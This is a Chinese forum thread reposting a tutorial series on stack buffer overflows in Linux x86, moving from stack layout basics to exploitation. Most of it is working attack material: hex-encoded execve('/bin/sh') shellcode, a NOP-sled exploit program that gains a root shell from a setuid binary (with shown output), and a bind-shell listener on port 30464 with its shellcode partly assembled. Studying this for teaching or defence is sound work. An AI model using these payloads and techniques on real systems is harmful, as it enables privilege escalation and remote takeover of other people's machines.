以文本方式查看主题 - 计算机科学论坛 (http://bbs.xml.org.cn/index.asp) -- 『 C/C++编程思想 』 (http://bbs.xml.org.cn/list.asp?boardid=61) ---- 堆栈溢出从入门到提高 (http://bbs.xml.org.cn/dispbbs.asp?boardid=61&rootid=&id=54922) |
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:30:00 AM -- 堆栈溢出从入门到提高 堆栈溢出系列讲座 入门篇 本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次, 你应该了解linux,本讲中我们的例子将在linux上开发。 1:首先复习一下基础知识。 从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态 全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配 在堆栈里面。 从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我 们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的 操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。 请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。 在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量, 接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被 丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回 地址到EIP以继续执行程序。 在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是: 先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。 (PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都 会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习) 2:好了,继续,让我们来看一看什么是堆栈溢出。 2.1:运行时的堆栈分配 堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据 越界。结果覆盖了老的堆栈数据。 比如有下面一段程序: 程序一: #include <stdio.h> int main ( ) { char name[8]; printf("Please type your name: "); gets(name); printf("Hello, %s!", name); return 0; } 编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢? 在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。 我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句: pushl %ebp movl %esp,%ebp subl $8,%esp 首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的 局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈 的布局如下: 内存底部 内存顶部 name EBP ret <------ [ ][ ][ ] ^&name 栈顶部 堆栈底部 执行完gets(name)之后,堆栈如下: 内存底部 内存顶部 name EBP ret <------ [ipxodi\0 ][ ][ ] ^&name 栈顶部 堆栈底部 最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。 2.2:堆栈溢出 好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完 gets(name)之后,堆栈如下: 内存底部 内存顶部 name EBP ret <------ [ipxodiAA][AAAA][AAAA]....... ^&name 栈顶部 堆栈底部 由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写 ‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的 老的元素。 如图 我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把 ‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处 的指令,结果出现错误。这就是一次堆栈溢出。 3:如何利用堆栈溢出 我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数 (gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写 越界,覆盖堆栈中的老元素的值,就可以修改返回地址。 在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。 事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。 如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我 们的指令。 在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆 栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得 root shell。 下一讲将叙述如何书写一个shell code。 ------------------------------------------------------------ 如何书写一个shell code 一:shellcode基本算法分析 在程序中,执行一个shell的程序是这样写的: shellcode.c ------------------------------------------------------------------------ ----- #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh" name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------ ------ execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:30:00 AM -- 该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为 第三个参数。 我们来看以看execve的汇编代码: [nkl10]$ gcc -o shellcode -static shellcode.c [nkl10]$ gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp ; 0x80002bd <__execve+1>: movl %esp,%ebp ;上面是函数头。 0x80002bf <__execve+3>: pushl %ebx ;保存ebx 0x80002c0 <__execve+4>: movl $0xb,%eax ;eax=0xb,eax指明第几号系统调用。 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx ;ebp+8是第一个参数"/bin/sh\0" 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx ;ebp+12是第二个参数name数组的地址 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx ;ebp+16是第三个参数空指针的地址。 ;name[2-1]内容为NULL,用来存放返回值。 0x80002ce <__execve+18>: int $0x80 ;执行0xb号系统调用(execve) 0x80002d0 <__execve+20>: movl %eax,%edx ;下面是返回值的处理就没有用了。 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. 经过以上的分析,可以得到如下的精简指令算法: movl $execve的系统调用号,%eax movl "bin/sh\0"的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int $0x80 ;执行系统调用(execve) 当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。 可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续 执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调 用,结束shellcode.c的执行。 我们来看以看exit(0)的汇编代码: (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0 0x8000358 <_exit+12>: int $0x80 ;引发系统调用 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. 看来exit(0)〕的汇编代码更加简单: movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int $0x80 ;引发系统调用 那么总结一下,合成的汇编代码为: movl $execve的系统调用号,%eax movl "bin/sh\0"的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int $0x80 ;执行系统调用(execve) movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int $0x80 ;执行系统调用(exit) 二:实现一个shellcode 好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name 数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次 程序都是动态加载,字符串和name数组的地址都不是固定的。
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:30:00 AM -- 通过JMP和call的结合,黑客们巧妙的解决了这个问题。 ------------------------------------------------------------------------ ------ jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出来的是string的地址。 movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组, //name[0]放 string的地址 movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结 尾。 movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。 movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码 。 movl %esi,%ebx # 2 bytes //ebx=string的地址 leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址 leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址 int $0x80 # 2 bytes //int 0x80是sys call movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码 movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值 int $0x80 # 2 bytes //int 0x80是sys call call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 作 //为返回地址压栈。 /bin/sh 字符串 ------------------------------------------------------------------------ ------ 首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为 call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来, 就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面 8个字节,构造name数组(两个整数,八个字节)。 我们可以写shellcode了。先写出汇编源程序。 shellcodeasm.c ------------------------------------------------------------------------ ------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------ ------ 编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。 下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序) test.c ------------------------------------------------------------------------ ------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3" void main() { int *ret; ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因为:有pushl ebp ,否则加1就可以了。) (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地 址。 } ------------------------------------------------------------------------ ------ ------------------------------------------------------------------------ ------ [nkl10]$ gcc -o test test.c [nkl10]$ ./test $ exit [nkl10]$ ------------------------------------------------------------------------ ------ 我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址 ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode, 从而我们得到了一个shell。 运行结果,得到了bsh的提示符$,表明成功的开了一个shell。
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:31:00 AM -- 这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为 一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。 而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在 代码段。 这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关 键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候, 以"\0" 为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此, 对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符 出现的。 因此,有些指令需要修改一下: 旧的指令 新的指令 -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- 最后的shellcode为: ------------------------------------------------------------------------ ---- char shellcode[]= 00 "\xeb\x1f" /* jmp 0x1f */ 02 "\x5e" /* popl %esi */ 03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */ 06 "\x31\xc0" /* xorl %eax,%eax */ 08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */ 0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ 0e "\xb0\x0b" /* movb $0xb,%al */ 10 "\x89\xf3" /* movl %esi,%ebx */ 12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ 15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ 18 "\xcd\x80" /* int $0x80 */ 1a "\x31\xdb" /* xorl %ebx,%ebx */ 1c "\x89\xd8" /* movl %ebx,%eax */ 1e "\x40" /* inc %eax */ 1f "\xcd\x80" /* int $0x80 */ 21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */ 26 "/bin/sh" /* .string \"/bin/sh\" */ ------------------------------------------------------------------------ ---- 三:利用堆栈溢出获得shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, 我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 overflow1.c ------------------------------------------------------------------------ ------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh" char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------ ------ 在执行完strcpy后,堆栈内容如下所示: 内存底部 内存顶部 buffer EBP ret <------ [SSS...SSSA ][A ][A ]A..A ^&buffer 栈顶部 堆栈底部 注:S表示shellcode。 A表示shellcode的地址。 这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们 的shellcode。 ---------------------------------------------------------- 利用堆栈溢出获得shell 现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们 将面对 一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。 回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的 strcpy 函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的 开始地
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:31:00 AM -- 址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个shell。 当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件 事: 1:把我们的shellcode提供给他,让他可以访问shellcode。 2:修改他的返回地址为shellcode的入口地址。 为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer 的地址。 因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开 始地址 ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。 我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是 相同的 。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程 序堆栈 的开始地址。 下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax 寄存器 里面): ------------------------------------------------------------------------ ------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } ------------------------------------------------------------------------ ------ 我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自 己 写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。 显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。 前面我们用来覆盖堆栈的溢出字符串为: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 现在,为了提高命中率,我们对他进行如下改进: 用来溢出的字符串变为: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 其中: N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上, NOP指令的机器码为0x90。 S为shellcode。 A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到 S. 这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:))) 好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到 shell的程序: exploit1.c ------------------------------------------------------------------------ ---- #include<stdio.h> #include<stdlib.h> #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh" /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) *((long *)&(buff[i]))=addr; for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]="\0" //现在buff的内容为 //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0 printf("Jump to 0x%08x\n",addr); execl("./vulnerable1","vulnerable1",buff,0); }
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:31:00 AM -- ------------------------------------------------------------------------ ---- execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串, 作为./vulnerable1的参数提供。 以下是执行的结果: ------------------------------------------------------------------------ ---- [nkl10]$ ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* [nkl10]$ ls -l exploit1 -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1* [nkl10]$ ./exploit1 Jump to 0xbfffec64 Segmentation fault [nkl10]$ ./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# ------------------------------------------------------------------------ ---- 恭喜,恭喜,你获得了root shell。 下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的 shellcode。 -------------------------------------------------------------- 远程堆栈溢出 我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。 我们 必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制 (或者 别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。 普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击 者来说 ,由于我们不在本地,这个sh我们并没有得到。 因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket, 然后 listen我们的连接,给我们一个远程shell的责任。 如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行 )作为 这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进 来后, 开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样, 我们 远程的使用者就有了一个远程shell(跟telnet一样啦)。 下面就是这个算法的C实现: opensocket.c ------------------------------------------------------------------------ ---- 1#include<unistd.h> 2#include<sys/socket.h> 3#include<netinet/in.h> 4int soc,cli,soc_len; 5struct sockaddr_in serv_addr; 6struct sockaddr_in cli_addr; 7int main() 8{ 9 if(fork()==0) 10 { 11 serv_addr.sin_family=AF_INET; 12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); 13 serv_addr.sin_port=htons(30464); 14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 15 bind(soc,(struct sockaddr *)&serv_addr, sizeof(serv_addr)); 16 listen(soc,1); 17 soc_len=sizeof(cli_addr); 18 cli=accept(soc,(struct sockaddr *)&cli_addr, &soc_len); 19 dup2(cli,0); 20 dup2(cli,1); 21 dup2(cli,2); 22 execl("/bin/sh","sh",0); 23 } 24} ------------------------------------------------------------------------ ---- 第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的 pid, 对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子 进程 作为socket通信的执行者继续下面的操作。 10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后 调用 bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接 。 当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出, 标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了 这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。 看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用 gdb来反编译上面的程序: [nkl10]$ gcc -o opensocket -static opensocket.c [nkl10]$ gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:32:00 AM -- Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 <fork>: movl $0x2,%eax 0x804ca95 <fork+5>: int $0x80 0x804ca97 <fork+7>: cmpl $0xfffff001,%eax 0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error> 0x804caa2 <fork+18>: ret 0x804caa3 <fork+19>: nop 0x804caa4 <fork+20>: nop 0x804caa5 <fork+21>: nop 0x804caa6 <fork+22>: nop 0x804caa7 <fork+23>: nop 0x804caa8 <fork+24>: nop 0x804caa9 <fork+25>: nop 0x804caaa <fork+26>: nop 0x804caab <fork+27>: nop 0x804caac <fork+28>: nop 0x804caad <fork+29>: nop 0x804caae <fork+30>: nop 0x804caaf <fork+31>: nop End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 <socket>: movl %ebx,%edx 0x804cda2 <socket+2>: movl $0x66,%eax 0x804cda7 <socket+7>: movl $0x1,%ebx 0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx 0x804cdb0 <socket+16>: int $0x80 0x804cdb2 <socket+18>: movl %edx,%ebx 0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax 0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error> 0x804cdbd <socket+29>: ret 0x804cdbe <socket+30>: nop 0x804cdbf <socket+31>: nop End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 <bind>: movl %ebx,%edx 0x804cd62 <bind+2>: movl $0x66,%eax 0x804cd67 <bind+7>: movl $0x2,%ebx 0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx 0x804cd70 <bind+16>: int $0x80 0x804cd72 <bind+18>: movl %edx,%ebx 0x804cd74 <bind+20>: cmpl $0xffffff83,%eax 0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error> 0x804cd7d <bind+29>: ret 0x804cd7e <bind+30>: nop 0x804cd7f <bind+31>: nop End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 <listen>: movl %ebx,%edx 0x804cd82 <listen+2>: movl $0x66,%eax 0x804cd87 <listen+7>: movl $0x4,%ebx 0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx 0x804cd90 <listen+16>: int $0x80 0x804cd92 <listen+18>: movl %edx,%ebx 0x804cd94 <listen+20>: cmpl $0xffffff83,%eax 0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error> 0x804cd9d <listen+29>: ret 0x804cd9e <listen+30>: nop 0x804cd9f <listen+31>: nop End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 <__accept>: movl %ebx,%edx 0x804cd42 <__accept+2>: movl $0x66,%eax 0x804cd47 <__accept+7>: movl $0x5,%ebx 0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx 0x804cd50 <__accept+16>: int $0x80
|
-- 作者:卷积内核 -- 发布时间:11/6/2007 8:32:00 AM -- 0x804cd52 <__accept+18>: movl %edx,%ebx 0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax 0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error> 0x804cd5d <__accept+29>: ret 0x804cd5e <__accept+30>: nop 0x804cd5f <__accept+31>: nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 <dup2>: movl %ebx,%edx 0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx 0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx 0x804cbea <dup2+10>: movl $0x3f,%eax 0x804cbef <dup2+15>: int $0x80 0x804cbf1 <dup2+17>: movl %edx,%ebx 0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax 0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error> 0x804cbfe <dup2+30>: ret 0x804cbff <dup2+31>: nop End of assembler dump. 现在可以写上面c代码的汇编语句了。 fork()的汇编代码 ------------------------------------------------------------------------ ---- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ ------------------------------------------------------------------------ ---- socket(2,1,6)的汇编代码 注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6 ------------------------------------------------------------------------ ---- /* socket使用66号系统调用,1号子调用。 */ /* 他使用一段内存块来传递参数2,1,6。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ /* 第一个参数 */ /* %esi 指向一段未使用的内存空间 */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数 */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* 第三个参数. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ ------------------------------------------------------------------------ ---- bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码 ------------------------------------------------------------------------ ---- /* bind使用66号系统调用,2号子调用。 */ /* 他使用一段内存块来传递参数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值, */ /* 就是soc文件描述符,作为第一个参数 */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=AF_NET(2) */ /* 2 放在 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* 端口号(0x7700=30464)放在 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = serv_addr 的地址 */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* 第三个参数 . */
|
